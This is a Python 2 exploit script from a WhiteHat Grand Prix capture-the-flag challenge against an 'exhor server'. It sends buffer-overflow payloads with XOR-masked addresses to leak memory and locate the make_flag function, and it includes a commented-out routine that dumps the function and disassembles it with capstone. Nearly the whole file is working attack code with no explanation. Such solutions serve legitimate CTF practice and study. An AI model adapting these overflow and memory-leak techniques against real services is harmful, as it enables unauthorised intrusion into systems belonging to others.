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#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
import time | |
from capstone import * | |
p = Pwn(host='lab8.grandprix.whitehatvn.com',port=1337) | |
def xor(msg): | |
data = '' | |
for c in msg: | |
data += chr(ord(c) ^ 0xc3) | |
return data | |
def exploit(): | |
p.connect() | |
p.read_until('Welcome to exhor server\n') | |
l = 256 + 0xc + 8 | |
i = 0 | |
# raw_input('Debug>') | |
p.send('A'*l + p.pack(0x0804A01C ^ 0xc3c3c3c3) + '\x00\n') | |
data = p.recv(1024) | |
make_flag = p.unpack(data[l + 4:l + 8]) | |
tmp = make_flag | |
p.send('A'*l + p.pack((make_flag + 7156) ^ 0xc3c3c3c3) + '\x00\n') | |
data = p.recv(1024) | |
print repr(data) | |
# print repr(data) | |
# make_flag_func = '' | |
# while 1: | |
# print hex(make_flag) | |
# p.send('A'*l + p.pack(make_flag ^ 0xc3c3c3c3) + '\x00\n') | |
# data = p.recv(1024) | |
# leak = data[l+4:-1] | |
# if len(leak) == 0: | |
# make_flag_func += '\x00' | |
# make_flag += 1 | |
# else: | |
# make_flag_func += leak | |
# make_flag += len(make_flag_func) | |
# print repr(make_flag_func) | |
# if '\x00'*10 in make_flag_func: | |
# break | |
# md = Cs(CS_ARCH_X86, CS_MODE_32) | |
# for i in md.disasm(make_flag_func, tmp): | |
# print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str)) | |
# time.sleep(1) | |
# p.io() | |
exploit() |
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